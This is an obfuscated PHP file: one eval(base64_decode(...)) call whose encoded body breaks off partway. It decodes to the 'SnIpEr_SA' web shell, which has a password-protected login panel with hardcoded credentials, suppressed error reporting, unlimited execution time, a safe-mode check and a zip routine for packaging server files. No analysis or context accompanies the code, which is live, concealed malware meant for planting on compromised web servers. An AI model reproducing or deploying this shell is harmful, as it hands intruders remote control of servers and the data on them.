eval(base64_decode('IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIyMjIyMjIyMNCiMgICAgICAgICAgICAgICAgICAgICAgICBzbmlwZXJfc2EgICAgICAg ICAgICAgICAgICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KJHRhY2ZnZFsndW5hbWUnXSA9ICdjcmF6eSc7DQokdGFjZmdk Wydwd29yZCddID0gJ2NyYXp5JzsNCiR0YWNmZ2RbJ3RpdGxlJ10gPSAnU25JcEVyX1NBIFNoZWxsJzsNCi R0YWNmZ2RbJ2hlbHB0ZXh0J10gPSAnVG8gcHJvY2VlZCwgcGxlYXNlIGxvZyBpbiB1c2luZyB0aGUgZm9y bSBiZWxvdyc7DQokdGFjZmdkWydhbGxvd3JtJ10gPSB0cnVlOw0KJHRhY2ZnZFsncm1ncm91cCddID0gJ2 RlZmF1bHQnOw0KJHRhY2ZnZFsnb3duc2Vzc2lvbnMnXSA9IGZhbHNlOw0KZm9yZWFjaCAoJHRhY2ZnZCBh cyAka2V5ID0+ICR2YWwpIHsNCiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPS AkdmFsOw0KfQ0KDQppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICBzZXNzaW9uX25hbWUoJ3R4 dGF1dGgnKTsNCiAgc2Vzc2lvbl9zdGFydCgpOw0KfQ0KDQovLyBMb2dvdXQgYXR0ZW1wdCBtYWRlLiBEZW xldGVzIGFueSByZW1lbWJlci1tZSBjb29raWUgYXMgd2VsbA0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQn XSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3 JvdXAsICcnLCB0aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0K ICAgICRfU0VTU0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZS AkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQovLyBMb2dpbiBhdHRlbXB0IG1hZGUNCmVs c2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgew0KICBpZiAoJF9QT1NUWyd1bmFtZSddID09ICR0YW NmZ1sndW5hbWUnXSAmJiAkX1BPU1RbJ3B3b3JkJ10gPT0gJHRhY2ZnWydwd29yZCddKSB7DQogICAgJF9T RVNTSU9OWyd0eHRhdXRoaW4nXSA9IHRydWU7DQogICAgaWYgKCRfUE9TVFsncm0nXSkgew0KICAgICAgLy 8gU2V0IHJlbWVtYmVyLW1lIGNvb2tpZSBmb3IgMiB3ZWVrcw0KICAgICAgc2V0Y29va2llKCd0eHRhdXRo XycuJHJtZ3JvdXAsIG1kNSgkdGFjZmdbJ3VuYW1lJ10uJHRhY2ZnWydwd29yZCddKSwgdGltZSgpKzg2ND AwKjE0KTsNCiAgICB9DQogIH0NCiAgZWxzZSAkZXJyID0gJ87Yx8Eg3e0gx9PjIMfh49PKzs/jIMfmIN/h 4+Ugx+Hj0ebRJzsNCn0NCi8vIFJlbWVtYmVyLW1lIGNvb2tpZSBleGlzdHMNCmVsc2VpZiAoaXNzZXQoJF 9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0 YWNmZ1sncHdvcmQnXSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbG xvd3JtJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRl cnIgPSAn08zhIM/O5uEg49HlIMfO0ewnOw0KfQ0KaWYgKCEkX1NFU1NJT05bJ3R4dGF1dGhpbiddKSB7DQ o/Pg0KPGh0bWw+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRt bDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPGhlYWQ+DQo8dGl0bGU+PD89JHRhY2ZnWyd0aXRsZSddPz 48L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjog IzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy 1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2 NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIz I5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2 NDU2DQp9DQoNCnRkIHsNCkJPUkRFUi1SSUdIVDogICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6IC AgICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1C T1RUT006ICMwMDAwMDAgMSBzb2xpZDsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KLmdyZXkgew0KQk9SREVSOi AxOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KaW5wdXQgew0K Qk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbG lkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAx IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcj ogI2ZmZmZmZjsNCn0NCi50eHRib3ggew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9S REVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw 0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsN CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogIzk5MDAwMDsNCn0NCkJPRFkgew0KY29sb3I6ICNjY2 NjY2M7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KDQo8 Ym9keT4NCjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1 sndGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2Nk Y2RjZCI+DQo8cD4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSS ddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9TRVJW RVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3MoJGFjdG lvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlvbiA9IHN0 cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0eHRhdXRoIi BhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjAiIGNlbGxw YWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iIzMzMzMzMyIgYWxpZ249ImNlbnRlciIgc3 R5bGU9ImJvcmRlcjogI2RlZGVkZSAxcHggZG91YmxlOyI+DQo8Pz0oaXNzZXQoJGVycikpPyc8dHI+PHRk IGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJyZWQiPicuJGVyci4nPC9mb250Pj
wvdGQ+PC90cj4nOicnPz4NCjw/aWYgKGlzc2V0KCR0YWNmZ1sndW5hbWUnXSkpIHs/Pg0KPHRyPjx0ZD7D 0+Mgx+Hj08rOz+M6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIi BzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8 dHI+PHRkPt/h4+Ugx+HT0To8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InB3b3JkIi B2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4N Cjw/aWYgKCR0YWNmZ1snYWxsb3dybSddKSB7Pz4NCjx0cj48dGQgYWxpZ249ImxlZnQiPjxpbnB1dCB0eX BlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iIM/O5uEiPg0KPC90ZD48dGQgYWxpZ249InJpZ2h0 Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJtIiBpZD0icm0iPjxsYWJlbCBmb3I9InJtIj7H4c /O5uEgx+HK4d7Hxu08L2xhYmVsPjwvdGQ+PC90cj4NCjw/fSBlbHNlIHs/Pg0KPHRyPjx0ZCBjb2xzcGFu PSIyIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJsb2dpbiIgdmFsdWU9Ii DPzubhICI+PC90ZD48L3RyPg0KPD99Pz4NCjx0cj48dGQ+w9PjIMfh4+be2jo8L3RkPjx0ZD48PyBlY2hv IHdzKDMpLiI8Yj4gIi4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uIjwvYj48YnIvPiI7DQplY2hvICI8L2I+PC 9mb250PiI7DQoNCj8+PC90ZD48L3RyPg0KPHRyPjx0ZD7D7SDI7SDH4dPt0d3ROjwvdGQ+PHRkPjw/IGVj aG8gd3MoMykuIjxiPiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9iPjxici 8+IjsNCmVjaG8gIjwvYj48L2ZvbnQ+IjsNCg0KPz48L3RkPjwvdHI+DQo8dHI+PHRkPsPtIMjtIMzlx9Lf OjwvdGQ+PHRkPjw/IGVjaG8gd3MoMykuIjxiPiAiLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2I+PG JyLz4iOw0KZWNobyAiPC9iPjwvZm9udD4iOw0KDQo/PjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjwvZm9y bT4NCg0KPGJyPjxicj48YnI+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2 NkY2RjZCI+PGRpdiBjbGFzcz0ic21hbGx0eHQiIGFsaWduPSJjZW50ZXIiPnBvd2VyZWQgYnkgPGEgaHJl Zj0iaHR0cDovL3NuaXBlci1zYS5jb20iPlNuSXBFcl9TQTwvYT4gJm1pZGRvdDsgY29weXJpZ2h0ICZjb3 B5OyAyMDA3LCBTbklwRXJfU0E8L2Rpdj4NCg0KPC9ib2R5Pg0KPC9odG1sPg0KPD8NCiAgLy8gRG9uJ3Qg ZGVsZXRlIHRoaXMhDQogIGV4aXQoKTsNCn0NCj8+DQrD0+Mgx+Hj08rOz+M6ICg8Zm9udCBjb2xvcj0iI0 ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSddOyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9 MSI+ytPM7eEgx+HO0ebMPC9hPjwvcD4NCjxkaXYgYWxpZ249InJpZ2h0Ij4NCjw/cGhwDQovKioqKioqKi oqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KLyp+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn 5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+ fn5+fn5+fn5+fn5+fn5+Ki8NCi8qICAoYylvZGVkIGJ5IFNuSXBFcl9TQQ0KLyogIE1BSUwgaHR0cDovL3 NuaXBlci1zYS5jb20gLCBodHRwOi8vc25pcGVyLXNhLmNvbQ0KLyoqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi oqKioqKioqKioqKioqKioqKi8NCi8qIH5+fiDH4c7tx9HHyiB8IE9wdGlvbnMgIH5+fiAqLw0KLy8gx+Hh 28kgfCBMYW5ndWFnZQ0KLy8gJGxhbmd1YWdlPSdlbmcnIC0gZW5nbGlzaCAoZW5nbGlzaCkNCi8vICRsYW 5ndWFnZT0nYXInIC0gYXJhYmkgKGFyYWJpKQ0KJGxhbmd1YWdlPSdhcic7DQovLyA/Pz8/Pz8/Pz8/Pz8/ PyB8IEF1dGhlbnRpZmljYXRpb24NCi8vICRhdXRoID0gMTsgLSDhyt3a7eEgx+HPzubhIMjf4ePlIMfh49 Hm0SAgKCBhdXRoZW50aWZpY2F0aW9uID0gT24gICkNCi8vICRhdXRoID0gMDsgLSDhx+3ex90gx+HPzubh IMjf4ePJIMfh49Hm0SAoIGF1dGhlbnRpZmljYXRpb24gPSBPZmYgKQ0KJGF1dGggPSAwOw0KLy8g4c/O5u EgyN/h48kg49Hm0SDmx9PjIOPTys7P4yAoTG9naW4gJiBQYXNzd29yZCBmb3IgYWNjZXNzKQ0KLy8g4c3j x+3JIMfh09/RyMog4+Qgz87m4SDb7dHfINvt0SDH4crH4e0hISEgKENIQU5HRSBUSElTISEhKQ0KLy8g5e THIObW2t8g3+Hj5SDH4ePR5tEg5uXtIOPU3dHlIMjV7dvlIG1kNSwg5t/h48naIMfh49Hm0SDl5Mcg5e0g ICdzbmlwZXInDQovLyDK08ra2O3aIMfkIMrU3dEg3+HjySDj0ebR3yDmx9PjIMfh49PKzs/jIMjV7dvJIG 1kNSDm5tba5ccg3e0gx+HOx+THyiDH4crH4e3lDQokbmFtZT0nMWMyNzY4MDEzM2I3ODFjYWRkMDM3ZThh NmRjYzAwMWInOyAvLyDH0+Mgx+Hj08rOz+MgICh1c2VyIGxvZ2luKQ0KJHBhc3M9JzFjMjc2ODAxMzNiNz gxY2FkZDAzN2U4YTZkY2MwMDFiJzsgLy8g3+HjySDH4ePR5tEgKHVzZXIgcGFzc3dvcmQpDQovKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi oqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQplY2hvICIiLmh0bWxzcGVjaWFsY2hh cnMoJGNvcHkpLiIiOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKD ApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpA aW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW 9kZScpOw0KJHZlcnNpb24gPSAnMS4zMSc7DQppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCAn NC4xLjAnKSA9PSAtMSkNCiB7DQogJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KICRfR0VUICAgID 0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KICRfQ09PS0lF ID0gJiRIVFRQX0NPT0tJRV9WQVJTOw0KIH0NCmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCiB7DQ ogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCiAgew0KICAkX1BPU1RbJGtdID0gc3RyaXBzbGFzaGVz KCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikNCiAgew0KICAkX0NPT0tJRVska1 0gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9DQogfQ0KDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0 KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKS E9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykNCiAgIHsNCiAgIGhl YWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09IlNuSXBFcl9TQSBzaGVsbCInKTsNCiAgIG
hlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgZXhpdCgiPGI+PGEgaHJlZj1odHRw Oi8vc25pcGVyLXNhLmNvbT5TbklwRXJfU0E8L2E+IDogQWNjZXNzIERlbmllZDwvYj4iKTsNCiAgIH0NCn 0NCiRoZWFkID0gJzwhLS0gU25JcEVyX1NBIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1 aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImFyLXNhIj4NCjxtZXRhIG5hbWU9IkdFTkVSQVRPUi IgY29udGVudD0iTWljcm9zb2Z0IEZyb250UGFnZSA2LjAiPg0KPG1ldGEgbmFtZT0iUHJvZ0lkIiBjb250 ZW50PSJGcm9udFBhZ2UuRWRpdG9yLkRvY3VtZW50Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVH lwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NiI+DQo8dGl0bGU+U25 JcEVyX1NBIHNoZWxsPC90aXRsZT4NCg0KDQoNCjxTVFlMRT4NCg0KQk9EWQ0KIHsNCiAgICAgICAgU0NST 0xMQkFSLUZBQ0UtQ09MT1I6ICMwMDAwMDA7IFNDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICMwMDAwMDA 7IFNDUk9MTEJBUi1TSEFET1ctQ09MT1I6ICMwMDAwMDA7IENPTE9SOiAjZmZmZmZmOyBTQ1JPTExCQVItM 0RMSUdIVC1DT0xPUjogIzcyNjQ1NjsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiAjNzI2NDU2OyBTQ1JPTEx CQVItVFJBQ0stQ09MT1I6ICMyOTI5Mjk7IEZPTlQtRkFNSUxZOiBWZXJkYW5hOyBTQ1JPTExCQVItREFSS 1NIQURPVy1DT0xPUjogIzcyNjQ1Ng0KfQ0KDQp0ciB7DQpCT1JERVItUklHSFQ6ICAjY2NjY2NjIDsNCkJ PUkRFUi1UT1A6ICAgICNjY2NjY2MgOw0KQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyA7DQpCT1JERVItQk9UV E9NOiAjY2NjY2NjIDsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI2NjY2N jYyA7DQpCT1JERVItVE9QOiAgICAjY2NjY2NjIDsNCkJPUkRFUi1MRUZUOiAgICNjY2NjY2MgOw0KQk9SR EVSLUJPVFRPTTogI2NjY2NjYyA7DQpjb2xvcjogI2NjY2NjYzsNCn0NCi50YWJsZTEgew0KQk9SREVSOiA xOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KLnRkMSB7DQpCT 1JERVI6IDE7DQpmb250OiA3cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQoudHIxIHsNCkJPUkR FUjogMTsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0O w0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KaW5wdXQgew0KQk9 SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkO w0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHN vbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI 2ZmZmZmZjsNCn0NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDEgc29saWQ7DQpCT1JERVI tVE9QOiAgICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7DQpCT 1JERVItQk9UVE9NOiAjZmZmZmZmIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KZm9 udDogOXB0IHRhaG9tYTsNCmNvbG9yOiAjQ0NDQ0NDOzsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b 25oaWdobGlnaHQgMSBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMjcyNzI3Ow0Kd2lkdGg6IDQwJTs NCmNvbG9yOiAjY2NjY2NjOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvb GlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSA xIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogI zMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWF yZ2luOiAxOw0KY29sb3I6ICNjY2NjY2M7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsa W5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDs gVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OO iBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU +DQo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPg0KZnVuY3Rpb24gaGlkZV9kaXYoaWQpDQp7D QogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7DQogIGR vY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOw0KfQ0KZnVuY3Rpb24gc2hvd19kaXYoaWQpDQp7DQogIGRvY 3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdibG9ja1wnOw0KICBkb2N1bWV udC5jb29raWU9aWQrXCc9MTtcJzsNCn0NCmZ1bmN0aW9uIGNoYW5nZV9kaXZzdChpZCkNCnsNCiAgaWYgK GRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQ0KICAgIHN ob3dfZGl2KGlkKTsNCiAgZWxzZQ0KICAgIGhpZGVfZGl2KGlkKTsNCn0NCjwvc2NyaXB0Pic7DQpjbGFzc yB6aXBmaWxlDQp7DQogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkY3RybF9 kaXIgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2X HgwMFx4MDBceDAwXHgwMCI7DQogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KICAgIGZ1bmN0aW9uIHV uaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lI D09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KICAgICAgICBpZiAoJHRpbWVhcnJ heVsneWVhciddIDwgMTk4MCkgew0KICAgICAgICAgICAgJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4M DsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7DQogICAgICAgICAgICAkdGltZWF ycmF5WydtZGF5J10gICAgPSAxOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNC iAgICAgICAgICAgICR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7DQogICAgICAgICAgICAkdGltZWFycmF 5WydzZWNvbmRzJ10gPSAwOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llY XInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVs nbWRheSddIDw8IDE2KSB8DQogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpI HwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk 7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApDQogICAge
w0KICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCiAgICAgICA gJGR0aW1lICAgID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCiAgICAgICAgJGhle GR0aW1lID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KICAgICAgICAgICAgICAgICAgLiAnXHg nIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbM l0gLiAkZHRpbWVbM10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVs xXTsNCiAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCiAgICAgI CAgJGZyICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQogICAgICAgICRmciAgIC49ICJceDE0XHgwMCI7DQo gICAgICAgICRmciAgIC49ICJceDAwXHgwMCI7DQogICAgICAgICRmciAgIC49ICJceDA4XHgwMCI7DQogI CAgICAgICRmciAgIC49ICRoZXhkdGltZTsNCiAgICAgICAgJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0 KICAgICAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsNCiAgICAgICAgJHpkYXRhICAgPSBnemNvbXByZ XNzKCRkYXRhKTsNCiAgICAgICAgJHpkYXRhICAgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGV uKCR6ZGF0YSkgLSA0KSwgMik7DQogICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7DQogICAgI CAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY3JjKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVic sICRjX2xlbik7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQogICAgICAgI CRmciAgICAgIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGF jaygndicsIDApOw0KICAgICAgICAkZnIgICAgICAuPSAkbmFtZTsNCiAgICAgICAgJGZyIC49ICR6ZGF0Y TsNCiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KICAgICAgICAkY2RyZWMgPSAiXHg1MFx 4NGJceDAxXHgwMiI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkY2RyZWMgL 